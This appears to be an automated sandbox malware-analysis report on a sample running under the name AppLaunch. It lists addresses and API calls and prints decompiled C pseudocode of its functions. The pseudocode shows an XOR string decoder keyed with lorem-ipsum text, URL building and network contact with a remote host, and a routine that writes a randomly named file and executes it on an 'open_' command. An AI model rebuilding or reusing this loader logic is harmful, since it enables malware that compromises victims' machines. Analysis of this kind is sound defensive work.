0x00417d65
0x00417d69
0x00417d72
0x00417d74
0x00417d74
0x00417d74
0x00417d6b
0x00417d6b
0x00417d6b
0x00417d77
0x00417d77
0x00417d83
0x00417d93
0x00417d95
0x00417d9b
0x00417d9e
0x00417da2
0x00417da4
0x00417da4
0x00417dad
0x00417db3
0x00417db5
0x00417db5
0x00417dc2
0x00417dc7
0x00417dcc
0x00417dd0
0x00417dd9
0x00417ddb
0x00417ddb
0x00417ddb
0x00417dd2
0x00417dd2
0x00417dd2
0x00417dde
0x00417dde
0x00417dea
0x00417dfa
0x00417dfc
0x00417e02
0x00417e05
0x00417e09
0x00417e0b
0x00417e0b
0x00417e14
0x00417e1a
0x00417e1c
0x00417e1c
0x00417e29
0x00417e2e
0x00417e33
0x00417e37
0x00417e40
0x00417e42
0x00417e42
0x00417e42
0x00417e39
0x00417e39
0x00417e39
0x00417e45
0x00417e45
0x00417e47
0x00417e4a
0x00417e4f
0x00417e51
0x00417e5d
0x00417e62
0x00417e64
0x00417e6a
0x00417e70
0x00417e78
0x00417e7e
0x00417e86
0x00417e9f
0x00417ea4
0x00417eb5
0x00417eb9
0x00417ec3
0x00417eca
0x00417ecc
0x00417ecc
0x00417ed0
0x00417edc
0x00417ee4
0x00417ee5
0x00417eea
0x00417eea
0x00417eef
0x00417ef3
0x00417efd
0x00417f03
0x00417f0f
0x00417f17
0x00417f18
0x00417f1d
0x00417f1d
0x00417f26
0x00417f30
0x00417f36
0x00417f3c
0x00417f42
0x00417f4a
0x00417f50
0x00417f5c
0x00417f5e
0x00417f5e
0x00417f66
0x00417f72
0x00417f78
0x00417f80
0x00417f86
0x00417f92
0x00417f94
0x00417f94
0x00417f9c
0x00417fa8
0x00417fc7
0x00417fe5
0x00418003
0x0041800d
0x00418012
0x0041801b
0x00418021
0x00418026
0x00418026
0x00417e64
0x00417e51
0x00417dea
0x00000000
0x00417d83
0x00417b79
0x00417b7f
0x00417b86
0x00417b8e
0x00417b94
0x00417b9a
0x00417b9f
0x00417ba3
0x00417ba5
0x00417bab
0x00417bab
0x00417bb4
0x00417bbf
0x00417bc5
0x00417bc7
0x00417bca
0x00417bd6
0x00417bd8
0x00417bd8
0x00417bde
0x00417be2
0x00417bef
0x00417bef
0x00417bf5
0x00417bfb
0x00417bff
0x00417c01
0x00417c01
0x00417c07
0x00417c0a
0x00417c0e
0x00417c10
0x00417c10
0x00417c16
0x00417c16
0x00417c1a
0x00417c1e
0x00417c20
0x00417c20
0x00417c28
0x00417c30
0x00417c30
0x00417c2a
0x00417c2a
0x00417c2a
0x00417c34
0x00417c3a
0x00417c3a
0x00417c3c
0x00417c36
0x00417c36
0x00417c36
0x00417c46
0x00417c4b
0x00417c4e
0x00417c50
0x00417c65
0x00417c68
0x00417c70
0x00417c73
0x00417c83
0x00417c8d
0x00417c95
0x00417c9d
0x00417c9e
0x00417ca3
0x00417ca3
0x00417ca6
0x00417cac
0x00417cb6
0x00417cc0
0x00417cdb
0x00417ce1
0x00417cc2
0x00417ccf
0x00417cd4
0x00417cd4
0x00417cea
0x00417cf5
0x00417cfb
0x00417cfe
0x00417cfe
0x00417d01
0x00417d0b
0x00417d13
0x00417d14
0x00417d19
0x00417d19
0x00000000
0x00417d0b
0x00417b88
0x00417b8c
0x00417bea
0x00000000
0x00417bea
0x00000000
0x00417b8c
0x00417a68
0x00417a6e
0x00417a75
0x00417a7d
0x00417a83
0x00417a89
0x00417a8e
0x00417a90
0x00417a96
0x00417a96
0x00417a9f
0x00417aaa
0x00417ab0
0x00417ab2
0x00417abc
0x00417ac2
0x00417ac4
0x00417ac4
0x00417aca
0x00417ace
0x00417ad4
0x00417ad4
0x00417ada
0x00417ae0
0x00417ae5
0x00417ae7
0x00417ae7
0x00417aed
0x00417af0
0x00417af5
0x00417af7
0x00417af7
0x00417afd
0x00417afd
0x00417b01
0x00417b06
0x00417b08
0x00417b08
0x00417b10
0x00417b18
0x00417b18
0x00417b12
0x00417b12
0x00417b12
0x00417b1c
0x00417b22
0x00417b22
0x00417b24
0x00417b1e
0x00417b1e
0x00417b1e
0x00417b2e
0x00417b44
0x00000000
0x00417b44
0x00417a77
0x00417a7b
0x00000000
0x00000000
0x00000000
0x00417a7b
0x0041795b
0x00417961
0x00417968
0x00417970
0x00417976
0x0041797c
0x00417981
0x00417983
0x00417989
0x00417989
0x00417992
0x0041799d
0x004179a3
0x004179a5
0x004179af
0x004179b5
0x004179b7
0x004179b7
0x004179bd
0x004179c1
0x004179c7
0x004179c7
0x004179cd
0x004179d3
0x004179d8
0x004179da
0x004179da
0x004179e0
0x004179e3
0x004179e8
0x004179ea
0x004179ea
0x004179f0
0x004179f4
0x004179f9
0x004179fb
0x004179fb
0x00417a03
0x00417a0b
0x00417a0b
0x00417a05
0x00417a05
0x00417a05
0x00417a0f
0x00417a15
0x00417a15
0x00417a17
0x00417a11
0x00417a11
0x00417a11
0x00417a21
0x00417a37
0x00000000
0x00417a37
0x0041796a
0x0041796e
0x00000000
0x00000000
0x00000000
0x0041796e
0x0041784f
0x00417855
0x0041785a
0x00417862
0x00417868
0x0041786e
0x00417872
0x00417874
0x0041787a
0x0041787a
0x00417883
0x0041788e
0x00417894
0x00417896
0x00417899
0x004178a5
0x004178a7
0x004178a7
0x004178ad
0x004178b1
0x004178b7
0x004178b7
0x004178bd
0x004178c3
0x004178c7
0x004178c9
0x004178c9
0x004178cf
0x004178d2
0x004178d6
0x004178d8
0x004178d8
0x004178de
0x004178e2
0x004178e6
0x004178e8
0x004178e8
0x004178f0
0x004178f8
0x004178f8
0x004178f2
0x004178f2
0x004178f2
0x004178fc
0x00417902
0x00417902
0x00417904
0x004178fe
0x004178fe
0x004178fe
0x0041790e
0x00417924
0x00417929
0x00000000
0x00417929
0x0041785c
0x00417860
0x00000000
0x00000000
0x00000000
0x00417860
0x00417750

APIs

_memset.LIBCMT ref: 00417646
_memset.LIBCMT ref: 0041765B
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?,?,?,?,?,0509B3F8,0509CD40), ref: 0041766F
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,0509B3F8,0509CD40), ref: 0041768F
lstrcatA.KERNEL32(?,0509AAC8,?,?,?,?,0509B3F8,0509CD40), ref: 004176A3
GetFileAttributesA.KERNELBASE(?,?,?,?,?,0509B3F8,0509CD40), ref: 004176B0

Part of subcall function 00414560: std::_Lockit::_Lockit.LIBCPMT ref: 00414571

Part of subcall function 0041DF40: std::_Lockit::_Lockit.LIBCPMT ref: 0041DF6C
Part of subcall function 0041DF40: std::_Lockit::_Lockit.LIBCPMT ref: 0041DF8F

std::_Lockit::_Lockit.LIBCPMT ref: 00417790
_strlen.LIBCMT ref: 00417821
_memmove.LIBCMT ref: 00417883
_strlen.LIBCMT ref: 00417937
_memmove.LIBCMT ref: 00417992
_strlen.LIBCMT ref: 00417A44
_memmove.LIBCMT ref: 00417A9F
_strlen.LIBCMT ref: 00417B51
_memmove.LIBCMT ref: 00417BB4
_memmove.LIBCMT ref: 00417CCF
_strlen.LIBCMT ref: 00417D28
_memcmp.LIBCMT ref: 00417D5B
_strlen.LIBCMT ref: 00417D8E
_memcmp.LIBCMT ref: 00417DC2
_strlen.LIBCMT ref: 00417DF5
_memcmp.LIBCMT ref: 00417E29
lstrcatA.KERNEL32(?,05091068,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00417E78
lstrcatA.KERNEL32(?,050985C0,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00417E86
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417ED0
lstrcatA.KERNEL32(?,004485E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F3C
lstrcatA.KERNEL32(?,0509D100,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F4A
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F66
lstrcatA.KERNEL32(?,004485E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F72
lstrcatA.KERNEL32(?,0509CCC8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F80
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F9C
lstrcatA.KERNEL32(?,0044A994,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417FA8
_strlen.LIBCMT ref: 00417FB3
_strlen.LIBCMT ref: 00417FD1
_strlen.LIBCMT ref: 00417FEF
_strlen.LIBCMT ref: 0041800D
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041812D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_strlen$_memmove$LockitLockit::_std::_$_memcmp$_memset$AttributesFileFolderIos_base_dtorPathstd::ios_base::_
String ID:
API String ID: 3672950668-0
Opcode ID: 7d678ac23a44f52d0faa357fcb0b65dc2fc3588c003f2da4073ba811e17bd104
Instruction ID: c3f679185d08426fb76c9e6c9b85a28966b25666d23946585127d21bc5a1b291
Opcode Fuzzy Hash: 7d678ac23a44f52d0faa357fcb0b65dc2fc3588c003f2da4073ba811e17bd104
Instruction Fuzzy Hash: 09628271E042299BDB21DB24DC40BEE77B5BB44304F1485EAE449A7281EF38AE85CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00404630 Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 130
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404630(void* __ebx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v508;
				void* _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				void* __edi;
				void* __esi;
				signed int _t47;
				void* _t58;
				signed int _t84;
				void* _t93;
				void* _t120;
				signed int _t121;
				void* _t122;
				signed int _t123;
				void* _t124;
				void* _t125;

				_t93 = __ebx;
				_t47 =  *0x450664; // 0x30e242aa
				_v8 = _t47 ^ _t123;
				_v516 = _a8;
				L00429B30( &_v508, 0, 0x1f4);
				_t125 = _t124 + 0xc;
				lstrcatA( &_v508, "Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain");
				_t122 = lstrlenA;
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				_t58 = LocalAlloc(0x40, __ebx + 1); // executed
				_t120 = _t58;
				_v512 = _t120;
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				 *((char*)(__ebx + _t120)) = 0;
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				_t121 = 0;
				if(__ebx != 0) {
					_v520 = _a4 - _v512;
					do {
						lstrlenA( &_v508);
						lstrlenA( &_v508);
						lstrlenA( &_v508);
						_t84 = L00429C90(_v516);
						_t125 = _t125 + 4;
						 *(_v512 + _t121) =  *(_t121 % _t84 + _v516) ^  *(_v520 + _v512 + _t121);
						lstrlenA( &_v508);
						lstrlenA( &_v508);
						lstrlenA( &_v508);
						_t121 = _t121 + 1;
					} while (_t121 < __ebx);
				}
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				lstrlenA( &_v508);
				L00429B30( &_v508, 0, 0x1f4);
				return E00429B16(_v512, _t93, _v8 ^ _t123,  &_v508, _t121, _t122);
			}

0x00404630
0x00404639
0x00404640
0x00404656
0x0040465c
0x00404661
0x00404670
0x00404676
0x00404683
0x0040468c
0x00404695
0x0040469e
0x004046a6
0x004046b2
0x004046b5
0x004046bb
0x004046c4
0x004046cd
0x004046d6
0x004046df
0x004046e3
0x004046ec
0x004046f5
0x004046fe
0x00404700
0x00404704
0x0040470f
0x00404715
0x0040471c
0x00404725
0x0040472e
0x00404737
0x0040474a
0x00404762
0x0040476b
0x00404774
0x0040477d
0x0040477f
0x00404780
0x00404715
0x0040478b
0x00404794
0x0040479d
0x004047ad
0x004047ca

APIs

_memset.LIBCMT ref: 0040465C
lstrcatA.KERNEL32(?,Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain), ref: 00404670
lstrlenA.KERNEL32(?), ref: 00404683
lstrlenA.KERNEL32(?), ref: 0040468C
lstrlenA.KERNEL32(?), ref: 00404695
lstrlenA.KERNEL32(?), ref: 0040469E
LocalAlloc.KERNEL32(00000040,?), ref: 004046A6
lstrlenA.KERNEL32(?), ref: 004046BB
lstrlenA.KERNEL32(?), ref: 004046C4
lstrlenA.KERNEL32(?), ref: 004046CD
lstrlenA.KERNEL32(?), ref: 004046D6
lstrlenA.KERNEL32(?), ref: 004046E3
lstrlenA.KERNEL32(?), ref: 004046EC
lstrlenA.KERNEL32(?), ref: 004046F5
lstrlenA.KERNEL32(?), ref: 004046FE
lstrlenA.KERNEL32(?), ref: 0040471C
lstrlenA.KERNEL32(?), ref: 00404725
lstrlenA.KERNEL32(?), ref: 0040472E
_strlen.LIBCMT ref: 00404737
lstrlenA.KERNEL32(?), ref: 0040476B
lstrlenA.KERNEL32(?), ref: 00404774
lstrlenA.KERNEL32(?), ref: 0040477D
lstrlenA.KERNEL32(?), ref: 0040478B
lstrlenA.KERNEL32(?), ref: 00404794
lstrlenA.KERNEL32(?), ref: 0040479D
_memset.LIBCMT ref: 004047AD

Strings

Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, xrefs: 00404664

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrlen$_memset$AllocLocal_strlenlstrcat
String ID: Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain
API String ID: 25619073-3718569047
Opcode ID: f07b8433331caa95dab7e9238ec26d520bc194405c091bb4a086389c51dfa80b
Instruction ID: 5c16fbe5dc0b6cc15f85b1855a13576d602bdb66686301d5beba482613507141
Opcode Fuzzy Hash: f07b8433331caa95dab7e9238ec26d520bc194405c091bb4a086389c51dfa80b
Instruction Fuzzy Hash: 364101B2D4022F9BCB64DB64DC84EEEB77CAF84304F0145EAA61997144DE34AB84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E460 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 260
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040E460(void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char _a44, intOrPtr _a60, intOrPtr _a64, char _a72, intOrPtr _a88, intOrPtr _a92, char _a100, char _a120, char _a128, char _a136, char _a1120, char _a1128, char _a1136, char _a2120, char _a2128, char _a2136, char _a3128, char _a3136, signed int _a8132, signed int _a8140, long _a8148) {
				CHAR* _v0;
				intOrPtr _v4;
				void* _v8;
				CHAR* _v12;
				char _v16;
				CHAR* _v20;
				intOrPtr _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				signed int _t74;
				intOrPtr* _t77;
				signed int _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				char* _t88;
				intOrPtr* _t96;
				intOrPtr* _t98;
				CHAR* _t102;
				int _t112;
				void* _t115;
				CHAR* _t123;
				CHAR* _t127;
				void* _t129;
				long _t134;
				intOrPtr* _t137;
				void* _t161;
				intOrPtr* _t163;
				long _t164;
				void* _t166;
				void* _t167;
				void* _t172;
				char* _t173;
				signed int _t174;
				signed int _t175;
				void* _t182;
				void* _t184;
				signed int _t188;
				char* _t189;
				void* _t191;
				void* _t192;
				void* _t194;

				_t191 = __eflags;
				_t175 = _t174 & 0xfffffff8;
				_push(0xffffffff);
				_push(E0043E261);
				_push( *[fs:0x0]);
				_push(__ecx);
				E00438A70(0x1fe4);
				_t72 =  *0x450664; // 0x30e242aa
				_a8140 = _t72 ^ _t175;
				_push(_t167);
				_push(_t161);
				_t74 =  *0x450664; // 0x30e242aa
				_push(_t74 ^ _t175);
				 *[fs:0x0] =  &_a8148;
				_t77 = _a4;
				_v16 =  *_t77;
				_v12 =  *((intOrPtr*)(_t77 + 4));
				L00429B30( &_v8, 0, 0x3c);
				L00429B30( &_a3136, 0, 0x1388);
				L00429B30( &_a2136, 0, 0x3e8);
				L00429B30( &_a1136, 0, 0x3e8);
				_t85 = L00429B30( &_a136, 0, 0x3e8) | 0xffffffff;
				_push(0x400);
				_v8 = 0x3c;
				_v0 = _t85;
				_a12 = _t85;
				_t86 = E004290CB(_t161, _t167, _t191);
				_push(0x400);
				_a8 = _t86;
				_t87 = E004290CB(_t161, _t167, _t191);
				_t182 = _t175 + 0x44;
				_v4 = _t87;
				_t88 =  *0x4512cc; // 0x4e72f10
				_t192 =  *0x4512e0 - 0x10; // 0x1f
				if(_t192 < 0) {
					_t88 = 0x4512cc;
				}
				_t134 =  *0x4512dc; // 0x17
				if(InternetCrackUrlA(_t88, _t134, 0,  &_v8) != 0) {
					wsprintfA( &_a2120, "%d", _v0 & 0x0000ffff);
					_t182 = _t182 + 0xc;
					lstrcatA( &_a1128, _v0);
					_t136 =  &_a128;
					lstrcatA( &_a128, _v12);
					_push("://");
					_push( &_a128);
				} else {
					lstrcatA( &_a2120, "80");
					_t123 =  *0x4512cc; // 0x4e72f10
					_t194 =  *0x4512e0 - 0x10; // 0x1f
					if(_t194 < 0) {
						_t123 = 0x4512cc;
					}
					lstrcatA( &_a1120, _t123);
					_push("http://");
					_t136 =  &_a120;
					_push( &_a120);
				}
				lstrcatA();
				_t96 = E0041E580( &_a100); // executed
				_t163 = _t96;
				_a8148 = 0;
				_t127 = L0040A480(_t136,  &_a72);
				_a8148 = 1;
				_t98 = E0040A300(_t136,  &_a44);
				_a8148 = 2;
				if( *((intOrPtr*)(_t163 + 0x14)) < 0x10) {
					_t137 = _t163;
				} else {
					_t137 =  *_t163;
				}
				if( *((intOrPtr*)(_t127 + 0x14)) >= 0x10) {
					_t127 =  *_t127;
				}
				if( *((intOrPtr*)(_t98 + 0x14)) < 0x10) {
					_t164 = _t98;
				} else {
					_t164 =  *_t98;
				}
				_push(_t137);
				_t102 = E004136C0(_v24, _t164,  &_a128,  &_a1128, E0042C353(),  &_a2128, _v20, _t127); // executed
				_t184 = _t182 + 0x1c;
				lstrcatA( &_a3128, _t102);
				if(_a64 >= 0x10) {
					_push(_a44);
					E00429B0B();
					_t184 = _t184 + 4;
				}
				_a64 = 0xf;
				_a60 = 0;
				_a44 = 0;
				if(_a92 >= 0x10) {
					_push(_a72);
					E00429B0B();
					_t184 = _t184 + 4;
				}
				_a8148 = 0xffffffff;
				_a92 = 0xf;
				_a88 = 0;
				_a72 = 0;
				if(_a120 >= 0x10) {
					_push(_a100);
					E00429B0B();
					_t184 = _t184 + 4;
				}
				L00429B30( &_v16, 0, 0x3c);
				L00429B30( &_a2128, 0, 0x3e8);
				L00429B30( &_a1128, 0, 0x3e8);
				_t158 =  &_a128;
				L00429B30( &_a128, 0, 0x3e8);
				_t188 = _t184 + 0x30;
				if(lstrlenA( &_a3128) <= 4) {
					_t112 = lstrlenA( &_a3128);
					 *0x4536b0 = 1;
					__eflags = _t112 - 2;
					if(_t112 != 2) {
						 *0x4536b0 = 0;
					}
				} else {
					_t189 = _t188 - 0x1c;
					_t173 = _t189;
					_v24 = _t189;
					 *((intOrPtr*)(_t173 + 0x14)) = 0xf;
					 *((intOrPtr*)(_t173 + 0x10)) = 0;
					 *_t173 = 0;
					_t115 = L00429C90( &_a3128);
					_t158 =  &_a3128;
					E004050C0(_t173,  &_a3128, _t115); // executed
					E0040A4C0(); // executed
					_t188 = _t189 + 0x20;
					 *0x4536b0 = 1;
				}
				 *[fs:0x0] = _a8140;
				_pop(_t166);
				_pop(_t172);
				_pop(_t129);
				return E00429B16(0, _t129, _a8132 ^ _t188, _t158, _t166, _t172);
			}

0x0040e460
0x0040e463
0x0040e466
0x0040e468
0x0040e473
0x0040e474
0x0040e47a
0x0040e47f
0x0040e486
0x0040e48e
0x0040e48f
0x0040e490
0x0040e497
0x0040e49f
0x0040e4a5
0x0040e4b6
0x0040e4ba
0x0040e4be
0x0040e4d5
0x0040e4ec
0x0040e503
0x0040e51f
0x0040e525
0x0040e52a
0x0040e532
0x0040e536
0x0040e53a
0x0040e542
0x0040e547
0x0040e54b
0x0040e555
0x0040e558
0x0040e55c
0x0040e561
0x0040e567
0x0040e569
0x0040e569
0x0040e56e
0x0040e585
0x0040e5dd
0x0040e5e7
0x0040e5f3
0x0040e5fe
0x0040e606
0x0040e60c
0x0040e618
0x0040e587
0x0040e594
0x0040e59a
0x0040e59f
0x0040e5a5
0x0040e5a7
0x0040e5a7
0x0040e5b5
0x0040e5bb
0x0040e5c0
0x0040e5c7
0x0040e5c7
0x0040e619
0x0040e626
0x0040e62b
0x0040e631
0x0040e641
0x0040e647
0x0040e64f
0x0040e659
0x0040e664
0x0040e66a
0x0040e666
0x0040e666
0x0040e666
0x0040e66f
0x0040e671
0x0040e671
0x0040e676
0x0040e67c
0x0040e678
0x0040e678
0x0040e678
0x0040e682
0x0040e6ac
0x0040e6b1
0x0040e6bd
0x0040e6c7
0x0040e6cd
0x0040e6ce
0x0040e6d3
0x0040e6d3
0x0040e6dd
0x0040e6e1
0x0040e6e5
0x0040e6f1
0x0040e6f7
0x0040e6f8
0x0040e6fd
0x0040e6fd
0x0040e700
0x0040e70b
0x0040e712
0x0040e719
0x0040e725
0x0040e72e
0x0040e72f
0x0040e734
0x0040e734
0x0040e73f
0x0040e755
0x0040e76b
0x0040e778
0x0040e781
0x0040e786
0x0040e79a
0x0040e7ea
0x0040e7f0
0x0040e7fa
0x0040e7fd
0x0040e7ff
0x0040e7ff
0x0040e79c
0x0040e79c
0x0040e79f
0x0040e7a8
0x0040e7ac
0x0040e7af
0x0040e7b3
0x0040e7b6
0x0040e7bf
0x0040e7c9
0x0040e7ce
0x0040e7d3
0x0040e7d6
0x0040e7d6
0x0040e80e
0x0040e816
0x0040e817
0x0040e818
0x0040e82a

APIs

_memset.LIBCMT ref: 0040E4BE
_memset.LIBCMT ref: 0040E4D5
_memset.LIBCMT ref: 0040E4EC
_memset.LIBCMT ref: 0040E503
_memset.LIBCMT ref: 0040E51A
InternetCrackUrlA.WININET(04E72F10,00000017,00000000,?), ref: 0040E57D
lstrcatA.KERNEL32(?,0044A984,?,00000400), ref: 0040E594
lstrcatA.KERNEL32(?,04E72F10,?,00000400), ref: 0040E5B5
wsprintfA.USER32 ref: 0040E5DD
lstrcatA.KERNEL32(?,?), ref: 0040E5F3
lstrcatA.KERNEL32(?,?), ref: 0040E606
lstrcatA.KERNEL32(?,://), ref: 0040E619
lstrcatA.KERNEL32(?,00000000), ref: 0040E6BD
_memset.LIBCMT ref: 0040E73F
_memset.LIBCMT ref: 0040E755
_memset.LIBCMT ref: 0040E76B
_memset.LIBCMT ref: 0040E781
lstrlenA.KERNEL32(?), ref: 0040E791
_strlen.LIBCMT ref: 0040E7B6

Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A50D
Part of subcall function 0040A4C0: lstrlenA.KERNEL32(00000000,?,?,?,00000000,?,0000000F), ref: 0040A551
Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A56E
Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A584
Part of subcall function 0040A4C0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,?,0000000F), ref: 0040A58D
Part of subcall function 0040A4C0: lstrcpy.KERNEL32(?,00000005), ref: 0040A5E2
Part of subcall function 0040A4C0: StrCmpCA.SHLWAPI(?,open_,?,?,?,?,?,?,?,?,?,00000000,?,0000000F), ref: 0040A5F4
Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A727
Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A73D
Part of subcall function 0040A4C0: _memset.LIBCMT ref: 0040A753

lstrlenA.KERNEL32(?), ref: 0040E7EA

Strings

://, xrefs: 0040E60C
http://, xrefs: 0040E5BB
<, xrefs: 0040E52A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat$lstrlen$CrackInternet_strlenlstrcpywsprintf
String ID: ://$<$http://
API String ID: 3057283683-1638580327
Opcode ID: 6758b612e38ac1ff1251e00f83e457dee0d8a518a94f6f16a8bc2723b039b695
Instruction ID: 182a5fa5f5599ad8da04004f71e2b1b90398c5c94566e82e77cb93383438b188
Opcode Fuzzy Hash: 6758b612e38ac1ff1251e00f83e457dee0d8a518a94f6f16a8bc2723b039b695
Instruction Fuzzy Hash: 2FA1C3B1904380ABD320DF61E845F9BB7E8BB84745F404E2EF14997282DB78E504CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C0 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 203
stringCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040A4C0(char _a4, intOrPtr _a24) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v1019;
				char _v1020;
				char _v1021;
				char _v1022;
				char _v1023;
				char _v1024;
				char _v2024;
				char _v3024;
				char _v3028;
				char _v3032;
				char _v3060;
				intOrPtr _v3064;
				char _v3068;
				intOrPtr _v3072;
				CHAR* _v3076;
				char* _v3080;
				char _v3084;
				char _v3088;
				char _v3092;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed int _t61;
				char* _t65;
				CHAR* _t77;
				signed int _t82;
				CHAR* _t86;
				void* _t99;
				void* _t100;
				char _t101;
				void* _t129;
				CHAR* _t130;
				void* _t131;
				void* _t133;
				CHAR* _t134;
				signed int _t135;
				void* _t136;
				void* _t138;
				void* _t139;
				void* _t142;
				void* _t144;

				_push(0xffffffff);
				_push(E0043DA08);
				_push( *[fs:0x0]);
				_t60 =  *0x450664; // 0x30e242aa
				_t61 = _t60 ^ _t135;
				_v24 = _t61;
				_push(_t99);
				_push(0);
				_push(_t129);
				_push(_t61);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				 *0x4536ac = 1;
				L00429B30( &_v2024, 0, 0x3e8);
				_t65 = _a4;
				_t138 = _t136 - 0xc08 + 0xc;
				_v3028 = 0x3b;
				if(_a24 < 0x10) {
					_t65 =  &_a4;
				}
				_t119 =  &_v3032;
				_t130 = E0042C1AC(_t99,  &_v3032, _t129, _t65,  &_v3028,  &_v3032);
				_t139 = _t138 + 0xc;
				while(_t130 != 0) {
					if(lstrlenA(_t130) > 5) {
						L00429B30( &_v1024, 0, 0x3e8);
						L00429B30( &_v3024, 0, 0x3e8);
						_t142 = _t139 + 0x18;
						if(lstrlenA(_t130) >= 0) {
							_v1024 =  *_t130 & 0x000000ff;
							_v1023 = _t130[1] & 0x000000ff;
							_v1022 = _t130[2];
							_v1021 = _t130[3] & 0x000000ff;
							_v1020 = _t130[4] & 0x000000ff;
							_v1019 = 0;
						} else {
							_v1024 = 0;
						}
						_t24 =  &(_t130[5]); // 0x5
						 *0x45358c( &_v3024, _t24);
						_push("open_");
						_push( &_v1024);
						if( *0x453510() != 0) {
							_t77 =  *0x453058; // 0x50987d8
							lstrcatA( &_v2024, _t77);
							_t134 = E0042A0BB( &_v1024, _t130, 0, 0x14);
							 *_t134 = 0;
							L0042D41F(GetTickCount());
							_t144 = _t142 + 8;
							_t101 = 0x14;
							do {
								_t82 = L0042D431(__eflags);
								asm("cdq");
								_push(_t82 % 0xa);
								_push(_t134);
								wsprintfA(_t134, "%s%d");
								_t144 = _t144 + 0x10;
								_t101 = _t101 - 1;
								__eflags = _t101;
							} while (__eflags != 0);
							_t134[0x14] = _t101;
							lstrcatA( &_v2024, _t134);
							_t86 =  *0x452e8c; // 0x5098450
							lstrcatA( &_v2024, _t86);
							E00413500(_t130,  &_v2024); // executed
							__eflags = 0;
							L00429B30( &_v3092, 0, 0x3c);
							_v3092 = 0x3c;
							_v3088 = 0;
							_v3084 = 0;
							_v3080 = "open";
							_v3076 =  &_v2024;
							_v3072 = 0x4485e7;
							_v3068 = 0;
							_v3064 = 5;
							_v3060 = 0;
							 *0x453544( &_v3092); // executed
